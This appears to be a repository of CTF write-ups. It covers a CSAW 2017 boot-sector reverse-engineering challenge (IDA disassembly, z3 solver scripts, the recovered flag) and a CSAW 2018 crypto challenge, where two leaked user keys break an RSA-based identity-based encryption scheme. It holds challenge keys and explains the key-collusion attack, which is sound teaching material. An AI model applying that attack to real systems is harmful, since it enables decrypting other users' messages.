264 | mod[m],
265 | mod[n],
266 | mod[o],
267 | mod[p]
268 | ]
269 |
270 |
271 | print chars
272 | flag = ''.join([chr(int(str(w))) for w in chars])
273 | flag = flag[::-1]
274 | print('flag' + flag[12:] + flag[8:12] + flag[0:4] + flag[4:8])
275 | ```
276 |
277 | ```
278 | [realism]> python solve_constraints.py
279 | sat
280 | [51, 114, 52, 123, 95, 122, 108, 97, 125, 48, 121, 95, 51, 100, 48, 109]
281 | flag{4r3alz_m0d3_y0}
282 | ```
283 |
284 | Entering the flag in QEMU confirms that it's correct:
285 |
286 | 
287 |
--------------------------------------------------------------------------------
/CSAWQuals2017/realism/check_constraints.py:
--------------------------------------------------------------------------------
1 | a = 100
2 | b = 99
3 | c = 98
4 | d = 97
5 | e= 104
6 | f= 103
7 | g= 102
8 | h= 101
9 | i= 112
10 | j= 111
11 | k= 110
12 | l= 109
13 | m= 108
14 | n= 107
15 | o= 106
16 | p= 105
17 |
18 | assert abs(0 - 0) + abs(b-0) + abs(c-0) + abs(d-0) + abs(e-0) + abs(f-0) + abs(g-2) + abs(h-123) + 0 == 623
19 | assert abs(0 - 0) + abs(j-0) + abs(k-0) + abs(l-0) + abs(m-0) + abs(n-0) + abs(o-2) + abs(p-236) + 0 == 780
20 | assert abs(a-0) + abs(0 - 0) + abs(c-0) + abs(d-0) + abs(e-0) + abs(f-0) + abs(g-2) + abs(h-134) + 0 == 635
21 | assert abs(i-0) + abs(0 - 0) + abs(k-0) + abs(l-0) + abs(m-0) + abs(n-0) + abs(o-3) + abs(p-6) + 0 == 748
22 | assert abs(a-0) + abs(b-0) + abs(0 - 0) + abs(d-0) + abs(e-0) + abs(f-0) + abs(g-2) + abs(h-144) + 0 == 646
23 | assert abs(i-0) + abs(j-0) + abs(0 - 0) + abs(l-0) + abs(m-0) + abs(n-0) + abs(o-2) + abs(p-228) + 0 == 774
24 | assert abs(a-0) + abs(b-0) + abs(c-0) + abs(0 - 0) + abs(e-0) + abs(f-0) + abs(g-2) + abs(h-153) + 0 == 656
25 | assert abs(i-0) + abs(j-0) + abs(k-0) + abs(0 - 0) + abs(m-0) + abs(n-0) + abs(o-3) + abs(p-16) + 0 == 740
26 | assert abs(a-0) + abs(b-0) + abs(c-0) + abs(d-0) + abs(0 - 0) + abs(f-0) + abs(g-2) + abs(h-169) + 0 == 665
27 | assert abs(i-0) + abs(j-0) + abs(k-0) + abs(l-0) + abs(0 - 0) + abs(n-0) + abs(o-2) + abs(p-236) + 0 == 784
28 | assert abs(a-0) + abs(b-0) + abs(c-0) + abs(d-0) + abs(e-0) + abs(0 - 0) + abs(g-2) + abs(h-184) + 0 == 681
29 | assert abs(i-0) + abs(j-0) + abs(k-0) + abs(l-0) + abs(m-0) + abs(0 - 0) + abs(o-2) + abs(p-199) + 0 == 748
30 | assert abs(a-0) + abs(b-0) + abs(c-0) + abs(d-0) + abs(e-0) + abs(f-0) + abs(0 - 3) + abs(h-9) + 0 == 696
31 | assert abs(i-0) + abs(j-0) + abs(k-0) + abs(l-0) + abs(m-0) + abs(n-0) + abs(0 - 3) + abs(p-54) + 0 == 711
32 | assert abs(a-34) + abs(b-15) + abs(c-2) + abs(d-200) + abs(e-131) + abs(f-251) + abs(g-224) + abs(0 - 131) + 0 == 777
33 | assert abs(i-192) + abs(j-32) + abs(k-15) + abs(l-16) + abs(m-205) + abs(n-0) + abs(o-19) + abs(0 - 184) + 0 == 822
34 |
--------------------------------------------------------------------------------
/CSAWQuals2017/realism/main.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/CSAWQuals2017/realism/main.bin
--------------------------------------------------------------------------------
/CSAWQuals2017/realism/print_constraints.py:
--------------------------------------------------------------------------------
1 | import binascii
2 | import struct
3 |
4 | # Initial value of xmm5
5 | xmm5_start = binascii.unhexlify('220f02c883fbe083c0200f10cd0013b8')
6 |
7 | # The data stored at 0x7DA8 and compared against esi
8 | esi_consts = [
9 | '70021102',
10 | '55022902',
11 | '91025e02',
12 | '3302f901',
13 | '78027b02',
14 | '21020902',
15 | '5d029002',
16 | '8f02df02'
17 | ]
18 | esi_consts = [struct.unpack('> (0x10)
27 | w = struct.pack('>Q', s1) + struct.pack('>Q', s2)
28 | return w
29 |
30 | def print_constraints():
31 | for i in range(8):
32 | prev_esi = esi_consts[i-1]
33 | xmm5 = esi_to_xmm5(prev_esi)
34 | if i == 0:
35 | xmm5 = xmm5_start
36 |
37 | esi = esi_consts[i]
38 | s1 = esi % (1 << 0x10)
39 | s2 = (esi - s1) >> (0x10)
40 |
41 | # sum of absolute differences between xmm5 and our flag
42 | s = ''
43 | for j in range(8):
44 | if j == 7-i:
45 | # This is the masking step
46 | s += 'abs(0-' + str(ord(xmm5[j])) + ') + '
47 | continue
48 | s += 'abs(' + variables[j] + '-' + str(ord(xmm5[j])) + ') + '
49 | s += '0 == {}, '.format(s1)
50 | print(s)
51 |
52 | s = ''
53 | for j in range(8,16):
54 | if j-8 == 7-i:
55 | # This is the masking step
56 | s += 'abs(0-' + str(ord(xmm5[j])) + ') + '
57 | continue
58 | s += 'abs(' + variables[j] + '-' + str(ord(xmm5[j])) + ') + '
59 | s += '0 == {}, '.format(s2)
60 | print(s)
61 |
62 | if __name__ == '__main__':
63 | print_constraints()
64 |
--------------------------------------------------------------------------------
/CSAWQuals2017/realism/realism.ida:
--------------------------------------------------------------------------------
1 | seg000:7C00 ; +-------------------------------------------------------------------------+
2 | seg000:7C00 ; | This file has been generated by The Interactive Disassembler (IDA) |
3 | seg000:7C00 ; | Copyright (c) 2015 Hex-Rays, |
4 | seg000:7C00 ; | License info: 48-B611-7234-BB |
5 | seg000:7C00 ; | Doskey Lee, Kingsoft Internet Security Software |
6 | seg000:7C00 ; +-------------------------------------------------------------------------+
7 | seg000:7C00 ;
8 | seg000:7C00 ; Input MD5 : 962002CA65D91D9C099C7862795B1827
9 | seg000:7C00 ; Input CRC32 : 82FCD604
10 | seg000:7C00
11 | seg000:7C00 ; ---------------------------------------------------------------------------
12 | seg000:7C00 ; File Name : Z:\raywang\Dropbox (MIT)\CTFs\CSAW2017\realism
13 | seg000:7C00 ; Format : Binary file
14 | seg000:7C00 ; Base Address: 0000h Range: 7C00h - 7E00h Loaded length: 0200h
15 | seg000:7C00
16 | seg000:7C00 .686p
17 | seg000:7C00 .mmx
18 | seg000:7C00 .model flat
19 | seg000:7C00
20 | seg000:7C00 ; ===========================================================================
21 | seg000:7C00
22 | seg000:7C00 ; Segment type: Pure code
23 | seg000:7C00 seg000 segment byte public 'CODE' use16
24 | seg000:7C00 assume cs:seg000
25 | seg000:7C00 ;org 7C00h
26 | seg000:7C00 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
27 | seg000:7C00
28 | seg000:7C00 loc_7C00: ; DATA XREF: seg000:7C81r
29 | seg000:7C00 mov ax, 13h
30 | seg000:7C03 int 10h ; - VIDEO - SET VIDEO MODE
31 | seg000:7C03 ; AL = mode
32 | seg000:7C05 mov eax, cr0
33 | seg000:7C08 and ax, 0FFFBh
34 | seg000:7C0B or ax, 2
35 | seg000:7C0E mov cr0, eax
36 | seg000:7C11 mov eax, cr4
37 | seg000:7C14 or ax, 600h
38 | seg000:7C17 mov cr4, eax
39 | seg000:7C1A mov word ptr ds:1266h, 0Ah
40 | seg000:7C20 mov bx, 0
41 | seg000:7C23
42 | seg000:7C23 loc_7C23: ; CODE XREF: seg000:7C2Cj
43 | seg000:7C23 mov byte ptr [bx+1234h], 5Fh
44 | seg000:7C28 inc bx
45 | seg000:7C29 cmp bx, 15h
46 | seg000:7C2C jle short loc_7C23
47 | seg000:7C2E mov ds:byte_7DC8, 0
48 | seg000:7C33
49 | seg000:7C33 loc_7C33: ; CODE XREF: seg000:7CF3j
50 | seg000:7C33 ; seg000:7D0Aj ...
51 | seg000:7C33 mov cx, 1
52 | seg000:7C36 xor dx, dx
53 | seg000:7C38
54 | seg000:7C38 loc_7C38: ; CODE XREF: seg000:7CDCj
55 | seg000:7C38 mov ah, 86h
56 | seg000:7C3A int 15h ; SYSTEM - WAIT (AT,XT2,XT286,CONV,PS)
57 | seg000:7C3A ; CX,DX = number of microseconds to wait
58 | seg000:7C3A ; Return: CF clear: after wait elapses, CF set: immediately due to error
59 | seg000:7C3C
60 | seg000:7C3C loc_7C3C: ; DATA XREF: seg000:loc_7CDFw
61 | seg000:7C3C add byte ptr ds:1278h, 10h
62 | seg000:7C41 mov ax, 1300h
63 | seg000:7C44 mov bh, 0
64 | seg000:7C46 mov bl, ds:1278h
65 | seg000:7C4A mov cx, 10h
66 | seg000:7C4D mov dx, 90Ch
67 | seg000:7C50 mov bp, 7D60h ; Enter flag
68 | seg000:7C53 int 10h ; - VIDEO - WRITE STRING (AT,XT286,PS,EGA,VGA)
69 | seg000:7C53 ; AL = mode, BL = attribute if AL bit 1 clear, BH = display page number
70 | seg000:7C53 ; DH,DL = row,column of starting cursor position, CX = length of string
71 | seg000:7C53 ; ES:BP -> start of string
72 | seg000:7C55 mov ax, 1300h
73 | seg000:7C58 mov bx, 0Fh
74 | seg000:7C5B mov cx, 14h
75 | seg000:7C5E mov dx, 0C0Ah
76 | seg000:7C61 mov bp, 1234h
77 | seg000:7C64 int 10h ; - VIDEO - WRITE STRING (AT,XT286,PS,EGA,VGA)
78 | seg000:7C64 ; AL = mode, BL = attribute if AL bit 1 clear, BH = display page number
79 | seg000:7C64 ; DH,DL = row,column of starting cursor position, CX = length of string
80 | seg000:7C64 ; ES:BP -> start of string
81 | seg000:7C66 cmp ds:byte_7DC8, 13h
82 | seg000:7C6B jle loc_7D0D
83 | seg000:7C6F cmp dword ptr ds:1234h, 67616C66h
84 | seg000:7C78 jnz loc_7D4D
85 | seg000:7C7C movaps xmm0, xmmword ptr ds:1238h
86 | seg000:7C81 movaps xmm5, xmmword ptr ds:loc_7C00
87 | seg000:7C86 pshufd xmm0, xmm0, 1Eh
88 | seg000:7C8B mov si, 8
89 | seg000:7C8E
90 | seg000:7C8E loc_7C8E: ; CODE XREF: seg000:7CC1j
91 | seg000:7C8E movaps xmm2, xmm0
92 | seg000:7C91 andps xmm2, xmmword ptr [si+7D90h]
93 | seg000:7C96 psadbw xmm5, xmm2
94 | seg000:7C9A movaps xmmword ptr ds:1268h, xmm5
95 | seg000:7C9F mov di, ds:1268h
96 | seg000:7CA3 shl edi, 10h
97 | seg000:7CA7 mov di, ds:1270h
98 | seg000:7CAB mov dx, si
99 | seg000:7CAD dec dx
100 | seg000:7CAE add dx, dx
101 | seg000:7CB0 add dx, dx
102 | seg000:7CB2 cmp edi, [edx+7DA8h]
103 | seg000:7CBA jnz loc_7D4D
104 | seg000:7CBE dec si
105 | seg000:7CBF test si, si
106 | seg000:7CC1 jnz short loc_7C8E
107 | seg000:7CC3 mov byte ptr ds:1278h, 0Ah
108 | seg000:7CC8 mov bx, ds:1266h
109 | seg000:7CCC mov di, 7D70h ; Correct!
110 | seg000:7CCF test bx, bx
111 | seg000:7CD1 jz short loc_7CDF
112 | seg000:7CD3 dec word ptr ds:1266h
113 | seg000:7CD7 xor cx, cx
114 | seg000:7CD9 mov dx, 14h
115 | seg000:7CDC jmp loc_7C38
116 | seg000:7CDF ; ---------------------------------------------------------------------------
117 | seg000:7CDF
118 | seg000:7CDF loc_7CDF: ; CODE XREF: seg000:7CD1j
119 | seg000:7CDF ; seg000:7D55j
120 | seg000:7CDF mov byte ptr ds:loc_7C3C+1, 0
121 | seg000:7CE4 mov word ptr ds:1266h, 0Ah
122 | seg000:7CEA xor bh, bh
123 | seg000:7CEC mov bl, ds:byte_7DC9
124 | seg000:7CF0 cmp bx, 10h
125 | seg000:7CF3 jge loc_7C33
126 | seg000:7CF7 mov cl, [bx+di]
127 | seg000:7CF9 mov [bx+7D60h], cl
128 | seg000:7CFD inc ds:byte_7DC9
129 | seg000:7D01 mov dword ptr [bx+7D61h], 3E3D3D20h
130 | seg000:7D0A jmp loc_7C33
131 | seg000:7D0D ; ---------------------------------------------------------------------------
132 | seg000:7D0D
133 | seg000:7D0D loc_7D0D: ; CODE XREF: seg000:7C6Bj
134 | seg000:7D0D mov ah, 1
135 | seg000:7D0F int 16h ; KEYBOARD - CHECK BUFFER, DO NOT CLEAR
136 | seg000:7D0F ; Return: ZF clear if character in buffer
137 | seg000:7D0F ; AH = scan code, AL = character
138 | seg000:7D0F ; ZF set if no character in buffer
139 | seg000:7D11 jz short loc_7D4A
140 | seg000:7D13 xor ah, ah
141 | seg000:7D15 int 16h ; KEYBOARD - READ CHAR FROM BUFFER, WAIT IF EMPTY
142 | seg000:7D15 ; Return: AH = scan code, AL = character
143 | seg000:7D17 cmp al, 8
144 | seg000:7D19 jz short loc_7D31
145 | seg000:7D1B cmp al, 0Dh
146 | seg000:7D1D jz short loc_7D4A
147 | seg000:7D1F mov bx, 1234h
148 | seg000:7D22 mov cl, ds:byte_7DC8
149 | seg000:7D26 add bx, cx
150 | seg000:7D28 mov [bx], al
151 | seg000:7D2A inc ds:byte_7DC8
152 | seg000:7D2E jmp loc_7C33
153 | seg000:7D31 ; ---------------------------------------------------------------------------
154 | seg000:7D31
155 | seg000:7D31 loc_7D31: ; CODE XREF: seg000:7D19j
156 | seg000:7D31 cmp ds:byte_7DC8, 1
157 | seg000:7D36 jl loc_7C33
158 | seg000:7D3A mov ax, 1234h
159 | seg000:7D3D dec ds:byte_7DC8
160 | seg000:7D41 mov bl, ds:byte_7DC8
161 | seg000:7D45 add bx, ax
162 | seg000:7D47 mov byte ptr [bx], 5Fh
163 | seg000:7D4A
164 | seg000:7D4A loc_7D4A: ; CODE XREF: seg000:7D11j
165 | seg000:7D4A ; seg000:7D1Dj
166 | seg000:7D4A jmp loc_7C33
167 | seg000:7D4D ; ---------------------------------------------------------------------------
168 | seg000:7D4D
169 | seg000:7D4D loc_7D4D: ; CODE XREF: seg000:7C78j
170 | seg000:7D4D ; seg000:7CBAj
171 | seg000:7D4D mov byte ptr ds:1278h, 4
172 | seg000:7D52 mov di, 7D80h ; wrong flag!
173 | seg000:7D55 jmp short loc_7CDF
174 | seg000:7D55 ; ---------------------------------------------------------------------------
175 | seg000:7D57 align 10h
176 | seg000:7D60 aEnterFlagPppCo db '== ENTER FLAG ==»»» CORRECT! «««!! WRONG FLAG !!'
177 | seg000:7D90 db 0FFh
178 | seg000:7D91 db 0FFh
179 | seg000:7D92 db 0FFh
180 | seg000:7D93 db 0FFh
181 | seg000:7D94 db 0FFh
182 | seg000:7D95 db 0FFh
183 | seg000:7D96 db 0FFh
184 | seg000:7D97 db 0FFh
185 | seg000:7D98 db 0
186 | seg000:7D99 db 0FFh
187 | seg000:7D9A db 0FFh
188 | seg000:7D9B db 0FFh
189 | seg000:7D9C db 0FFh
190 | seg000:7D9D db 0FFh
191 | seg000:7D9E db 0FFh
192 | seg000:7D9F db 0FFh
193 | seg000:7DA0 db 0
194 | seg000:7DA1 db 0FFh
195 | seg000:7DA2 db 0FFh
196 | seg000:7DA3 db 0FFh
197 | seg000:7DA4 db 0FFh
198 | seg000:7DA5 db 0FFh
199 | seg000:7DA6 db 0FFh
200 | seg000:7DA7 db 0FFh
201 | seg000:7DA8 db 70h ; p
202 | seg000:7DA9 db 2
203 | seg000:7DAA db 11h
204 | seg000:7DAB db 2
205 | seg000:7DAC db 55h ; U
206 | seg000:7DAD db 2
207 | seg000:7DAE db 29h ; )
208 | seg000:7DAF db 2
209 | seg000:7DB0 db 91h ; æ
210 | seg000:7DB1 db 2
211 | seg000:7DB2 db 5Eh ; ^
212 | seg000:7DB3 db 2
213 | seg000:7DB4 db 33h ; 3
214 | seg000:7DB5 db 2
215 | seg000:7DB6 db 0F9h ; ·
216 | seg000:7DB7 db 1
217 | seg000:7DB8 db 78h ; x
218 | seg000:7DB9 db 2
219 | seg000:7DBA db 7Bh ; {
220 | seg000:7DBB db 2
221 | seg000:7DBC db 21h ; !
222 | seg000:7DBD db 2
223 | seg000:7DBE db 9
224 | seg000:7DBF db 2
225 | seg000:7DC0 db 5Dh ; ]
226 | seg000:7DC1 db 2
227 | seg000:7DC2 db 90h ; É
228 | seg000:7DC3 db 2
229 | seg000:7DC4 db 8Fh ; Å
230 | seg000:7DC5 db 2
231 | seg000:7DC6 db 0DFh ; ¯
232 | seg000:7DC7 db 2
233 | seg000:7DC8 byte_7DC8 db 0 ; DATA XREF: seg000:7C2Ew
234 | seg000:7DC8 ; seg000:7C66r ...
235 | seg000:7DC9 byte_7DC9 db 0 ; DATA XREF: seg000:7CECr
236 | seg000:7DC9 ; seg000:7CFDw
237 | seg000:7DCA db 34h dup(0), 55h, 0AAh
238 | seg000:7DCA seg000 ends
239 | seg000:7DCA
240 | seg000:7DCA
241 | seg000:7DCA end
242 |
--------------------------------------------------------------------------------
/CSAWQuals2017/realism/solve_constraints.py:
--------------------------------------------------------------------------------
1 | import sys
2 | sys.path.append('z3/build/')
3 | from z3 import *
4 |
5 | def abs(x):
6 | return If(x >= 0,x,-x)
7 |
8 | s = Solver()
9 |
10 | a = Int('a')
11 | b = Int('b')
12 | c = Int('c')
13 | d = Int('d')
14 | e = Int('e')
15 | f = Int('f')
16 | g = Int('g')
17 | h = Int('h')
18 | i = Int('i')
19 | j = Int('j')
20 | k = Int('k')
21 | l = Int('l')
22 | m = Int('m')
23 | n = Int('n')
24 | o = Int('o')
25 | p = Int('p')
26 |
27 | s.add(a >= 32)
28 | s.add(b >= 32)
29 | s.add(c >= 32)
30 | s.add(d >= 32)
31 | s.add(e >= 32)
32 | s.add(f >= 32)
33 | s.add(g >= 32)
34 | s.add(h >= 32)
35 | s.add(i >= 32)
36 | s.add(j >= 32)
37 | s.add(k >= 32)
38 | s.add(l >= 32)
39 | s.add(m >= 32)
40 | s.add(n >= 32)
41 | s.add(o >= 32)
42 | s.add(p >= 32)
43 |
44 | s.add(127 > a)
45 | s.add(127 > b)
46 | s.add(127 > c)
47 | s.add(127 > d)
48 | s.add(127 > e)
49 | s.add(127 > f)
50 | s.add(127 > g)
51 | s.add(127 > h)
52 | s.add(127 > i)
53 | s.add(127 > j)
54 | s.add(127 > k)
55 | s.add(127 > l)
56 | s.add(127 > m)
57 | s.add(127 > n)
58 | s.add(127 > o)
59 | s.add(127 > p)
60 |
61 | s.add(abs(a-34) + abs(b-15) + abs(c-2) + abs(d-200) + abs(e-131) + abs(f-251) + abs(g-224) + abs(0-131) + 0 == 655)
62 | s.add(abs(i-192) + abs(j-32) + abs(k-15) + abs(l-16) + abs(m-205) + abs(n-0) + abs(o-19) + abs(0-184) + 0 == 735)
63 | s.add(abs(a-0) + abs(b-0) + abs(c-0) + abs(d-0) + abs(e-0) + abs(f-0) + abs(0-2) + abs(h-143) + 0 == 605)
64 | s.add(abs(i-0) + abs(j-0) + abs(k-0) + abs(l-0) + abs(m-0) + abs(n-0) + abs(0-2) + abs(p-223) + 0 == 656)
65 | s.add(abs(a-0) + abs(b-0) + abs(c-0) + abs(d-0) + abs(e-0) + abs(0-0) + abs(g-2) + abs(h-93) + 0 == 545)
66 | s.add(abs(i-0) + abs(j-0) + abs(k-0) + abs(l-0) + abs(m-0) + abs(0-0) + abs(o-2) + abs(p-144) + 0 == 521)
67 | s.add(abs(a-0) + abs(b-0) + abs(c-0) + abs(d-0) + abs(0-0) + abs(f-0) + abs(g-2) + abs(h-33) + 0 == 632)
68 | s.add(abs(i-0) + abs(j-0) + abs(k-0) + abs(l-0) + abs(0-0) + abs(n-0) + abs(o-2) + abs(p-9) + 0 == 635)
69 | s.add(abs(a-0) + abs(b-0) + abs(c-0) + abs(0-0) + abs(e-0) + abs(f-0) + abs(g-2) + abs(h-120) + 0 == 563)
70 | s.add(abs(i-0) + abs(j-0) + abs(k-0) + abs(0-0) + abs(m-0) + abs(n-0) + abs(o-2) + abs(p-123) + 0 == 505)
71 | s.add(abs(a-0) + abs(b-0) + abs(0-0) + abs(d-0) + abs(e-0) + abs(f-0) + abs(g-2) + abs(h-51) + 0 == 657)
72 | s.add(abs(i-0) + abs(j-0) + abs(0-0) + abs(l-0) + abs(m-0) + abs(n-0) + abs(o-1) + abs(p-249) + 0 == 606)
73 | s.add(abs(a-0) + abs(0-0) + abs(c-0) + abs(d-0) + abs(e-0) + abs(f-0) + abs(g-2) + abs(h-145) + 0 == 597)
74 | s.add(abs(i-0) + abs(0-0) + abs(k-0) + abs(l-0) + abs(m-0) + abs(n-0) + abs(o-2) + abs(p-94) + 0 == 553)
75 | s.add(abs(0-0) + abs(b-0) + abs(c-0) + abs(d-0) + abs(e-0) + abs(f-0) + abs(g-2) + abs(h-85) + 0 == 624)
76 | s.add(abs(0-0) + abs(j-0) + abs(k-0) + abs(l-0) + abs(m-0) + abs(n-0) + abs(o-2) + abs(p-41) + 0 == 529)
77 |
78 | print(s.check())
79 | mod = s.model()
80 |
81 | chars = [
82 | mod[a],
83 | mod[b],
84 | mod[c],
85 | mod[d],
86 | mod[e],
87 | mod[f],
88 | mod[g],
89 | mod[h],
90 | mod[i],
91 | mod[j],
92 | mod[k],
93 | mod[l],
94 | mod[m],
95 | mod[n],
96 | mod[o],
97 | mod[p]
98 | ]
99 |
100 |
101 | print chars
102 | flag = ''.join([chr(int(str(w))) for w in chars])
103 | flag = flag[::-1]
104 | print('flag' + flag[12:] + flag[8:12] + flag[0:4] + flag[4:8])
105 |
--------------------------------------------------------------------------------
/CSAWQuals2018/collusion/README.md:
--------------------------------------------------------------------------------
1 | # CSAW CTF 2018 Qualification Round - Collusion
2 |
3 | Writeup by: Andrew He
4 |
5 | ## Challenge
6 | Crypto, 500 pts, 32 solves
7 |
8 | Written by Brendan McMillion & Krzysztof Kwiatkowski, Cloudflare
9 |
10 | ### Files
11 |
12 | * bobs-key.json
13 | * carols-key.json
14 | * common.go
15 | * message.json
16 | * generate-challenge.go
17 |
18 | ## tl;dr
19 |
20 | We're given an RSA-based identity-based encryption (IBE) scheme, and two users'
21 | private keys. Turns out those are enough to figure out the group manager's
22 | private key, allowing us to decrypt arbitrary messages.
23 |
24 | ## Deciphering the crypto system
25 |
26 | I jumped on this problem after [betaveros](https://beta.vero.site/) had already
27 | read and simplified the code, so I got a bit of a condensed form of the problem:
28 | we're given a large semiprime `N=pq`, integers `a`, `b`, `c`, `inv(x+b) mod
29 | phi(N)`, `inv(x+c) mod phi(N)`, `3^(r*(x+a)) mod N`, and the flag encrypted with
30 | `3^r mod N` as the key (here, `p`, `q`, `r`, and `x` are unknowns). I'll dive
31 | into a little more detail where these came from, but feel free to jump to the
32 | next section for the solution and exploit.
33 |
34 | The go files contain an identity-based encryption scheme, which allows anyone to
35 | encrypt data using just the recipient's name (you can think of it as a
36 | public-key distribution system that magically uses a common public/private key
37 | owned by a trusted third-party).
38 |
39 | In this scheme, the trusted group manager first generates an RSA semi-prime `N =
40 | p * q` using safe primes `p = 2p'+1` and `q = 2q'+1`, as well as a secret value
41 | `x` modulo `phi(N)`. They publish `N` and `H = 3^x` as public keys. Also,
42 | there's a public function `DecrypterId` maps the identity (name) of the
43 | recipient to a deterministic integer modulo `N`.
44 |
45 | For any recipient with `DecrypterId(recipient) = id`, the group manager
46 | distributes `N` and `d = inv(x + id) mod phi(N)` as their private decryption
47 | key (presumably after properly verifying their identity).
48 |
49 | To encrypt for a recipient with `DecrypterId(recipient) = id`, we first pick a
50 | shared secret `K = 3^r mod N` for a random `r`, and then produce the
51 | key-encapsulation message (KEM) `V = (3^id * H)^r mod N = 3^(r*(x + id)) mod N`.
52 | The secret secret is used to encrypt the message with an AES cipher and a random
53 | nonce plugged into Go's AEAD black box, and we send the triple `(V, AEAD(...),
54 | nonce)`.
55 |
56 | To decrypt, the recipient can recover the shared secret by taking
57 |
58 | V^d mod N = 3^(r*(x+id))^(inv(x+id) mod phi(N)) mod N = 3^r mod N
59 |
60 | as in standard RSA.
61 |
62 | In this problem, we're given Bob and Carols' secret keys, as well as an
63 | encrypted message for Alice containing the flag. From these, we can find:
64 | * `N` from the secret keys,
65 | * `a`, `b`, and `c`, the `DecrypterId`s of Alice, Bob, and Carol,
66 | * `inv(x+b) mod phi(N)` and `inv(x+c) mod phi(N)`, the secret keys of Bob and Carol,
67 | * `3^(r*(x+a)) mod N`, the KEM of the message
68 | * the message ciphertext and nonce itself
69 |
70 | Interestingly, we weren't given the public encryption key, even though the
71 | challenge program supposedly saves it. We didn't need it in the end, but just a
72 | small oddity.
73 |
74 | ## Some number theory
75 |
76 | The number theory part of this challenge was pretty short and sweet once we saw
77 | it.
78 |
79 | In essence, we know `1/(x+b) mod phi(N)` and `1/(x+c) mod phi(N)` for given
80 | `b` and `c`, so we'd like to find some information about `x` or `phi(N)` or
81 | both. We can't take modular inverses because `phi(N)` is unknown, so the next
82 | best thing is maybe working directly with the fractions.
83 |
84 | A bit of experimentation led us to the identity
85 |
86 | 1/(x+b) - 1/(x+c) = (c-b) / (x+b) / (x+c) mod phi(N)
87 |
88 | Note that we can compute the left hand side and right hand side of this
89 | equation, so subtracting gives us a multiple of `phi(N)`. If we let this
90 | multiple be `myPhi`, we can do our modular arithmetic modulo `myPhi`, and it
91 | will be correct mod `phi(N)`!
92 |
93 | In particular, we can just compute `x+b = inv(inv(x+b) mod phi) mod myPhi`,
94 | which allows us to find `x`, `x+a`, and `inv(x+a) mod myPhi`. Then, we can just
95 | use `inv(x+a) mod myPhi` as Alice's decryption key to decrypt the flag, as it's
96 | congruent to `inv(x+a) mod phi(N)`.
97 |
98 | One small note: it's possible that the numbers we work with aren't relatively
99 | prime with `myPhi`, in which case we can't take modular inverses. However, we
100 | know that `x+b` and `x+a` are both relatively prime with `phi(N)`, so the common
101 | factors with `myPhi` must be extraneous, so we can just divide them out of
102 | `myPhi`. Fortunately, this didn't occur in the actual challenge data, so we
103 | didn't have to implement this.
104 |
105 | ## Exploit
106 |
107 | The exploit can be found in `exploit.go` and can be built with `go build
108 | exploit.go common.go`. One weird point was having to implement `Decrypt`
109 | ourselves: the given code implemented `Encrypt` but not the matching function.
110 |
--------------------------------------------------------------------------------
/CSAWQuals2018/collusion/bobs-key.json:
--------------------------------------------------------------------------------
1 | {"N":620887747698031680282278459418853751800768044276786350910455457327697386307992399290465847519812877907840137497935973466569696906188829328481045481062835414724706348319327533678662137243078740689059557633186372578973734559506901939700830250898600687716678884072023222665290974338233795503284024757704681902513,"D":533470860187977428874664770749404286395369594882914913229314502136395302372814852272450839649881108562946368861816140387784087275639561655065952799932016774771032557950682169220669553278027305664591294664780571771444011952670173545687132460199094202220018835973570943657523151658594651454700759087609204840601}
--------------------------------------------------------------------------------
/CSAWQuals2018/collusion/carols-key.json:
--------------------------------------------------------------------------------
1 | {"N":620887747698031680282278459418853751800768044276786350910455457327697386307992399290465847519812877907840137497935973466569696906188829328481045481062835414724706348319327533678662137243078740689059557633186372578973734559506901939700830250898600687716678884072023222665290974338233795503284024757704681902513,"D":465067931136600975748708204542464514380024325025535227883674632338749953227521580764857657167362578029849896066287943943434104585258069157493421521598078626985841741990663128952187029252332502950750816362532527813756399290358906777668719885727291165584927703512677443961502026513815615226146319193324416029571}
--------------------------------------------------------------------------------
/CSAWQuals2018/collusion/common.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "crypto/aes"
5 | "crypto/cipher"
6 | "crypto/rand"
7 | "crypto/sha256"
8 | "io"
9 | "math/big"
10 | )
11 |
12 | type devZero struct{}
13 |
14 | func (dz devZero) Read(p []byte) (n int, err error) {
15 | for i := 0; i < len(p); i++ {
16 | p[i] = 0
17 | }
18 | return len(p), nil
19 | }
20 |
21 | // newReader returns a deterministic, cryptographically-secure source of random
22 | // bytes seeded by `seed`.
23 | func newReader(seed string) (io.Reader, error) {
24 | sum := sha256.Sum256([]byte(seed))
25 | block, err := aes.NewCipher(sum[:])
26 | if err != nil {
27 | return nil, err
28 | }
29 |
30 | iv := make([]byte, block.BlockSize())
31 | return cipher.StreamReader{
32 | S: cipher.NewCTR(block, iv),
33 | R: devZero{},
34 | }, nil
35 | }
36 |
37 | // DecrypterId deterministically maps a name to an integer modulo N.
38 | func DecrypterId(id string, N *big.Int) (*big.Int, error) {
39 | r, err := newReader(id)
40 | if err != nil {
41 | return nil, err
42 | }
43 | n, err := rand.Int(r, N)
44 | if err != nil {
45 | return nil, err
46 | }
47 | n.SetBit(n, 0, 1)
48 |
49 | return n, nil
50 | }
51 |
52 | // phi returns Phi(N = p * q), where Phi is Euler's totient function.
53 | func phi(p, q *big.Int) *big.Int {
54 | one := big.NewInt(1)
55 |
56 | a := new(big.Int).Sub(p, one)
57 | b := new(big.Int).Sub(q, one)
58 |
59 | return a.Mul(a, b)
60 | }
61 |
62 | // generateSafe generates a safe prime p=2q+1 where q is another prime.
63 | //
64 | // THIS FUNCTION IS VERY SLOW!
65 | func generateSafe(src io.Reader, bits int) (*big.Int, error) {
66 | const level = 20
67 | var (
68 | one = big.NewInt(1)
69 |
70 | p = new(big.Int)
71 | temp = new(big.Int)
72 |
73 | err error
74 | )
75 |
76 | for {
77 | p, err = rand.Prime(src, bits)
78 | if err != nil {
79 | return nil, err
80 | }
81 |
82 | // Check if 2p+1 is prime.
83 | temp.Lsh(p, 1)
84 | temp.Add(temp, one)
85 |
86 | if temp.Bit(0) != 0 && temp.ProbablyPrime(level) {
87 | return temp, nil
88 | }
89 |
90 | // Check if (p-1)/2 is also prime.
91 | temp.Sub(p, one)
92 | temp.Rsh(temp, 1)
93 |
94 | if temp.Bit(0) != 0 && temp.ProbablyPrime(level) {
95 | return p, nil
96 | }
97 | }
98 | }
99 |
100 | // Group is the group manager's private key. The group manager is capable of
101 | // issuing decrypters' private key.
102 | type Group struct {
103 | P, Q *big.Int
104 | X *big.Int
105 | }
106 |
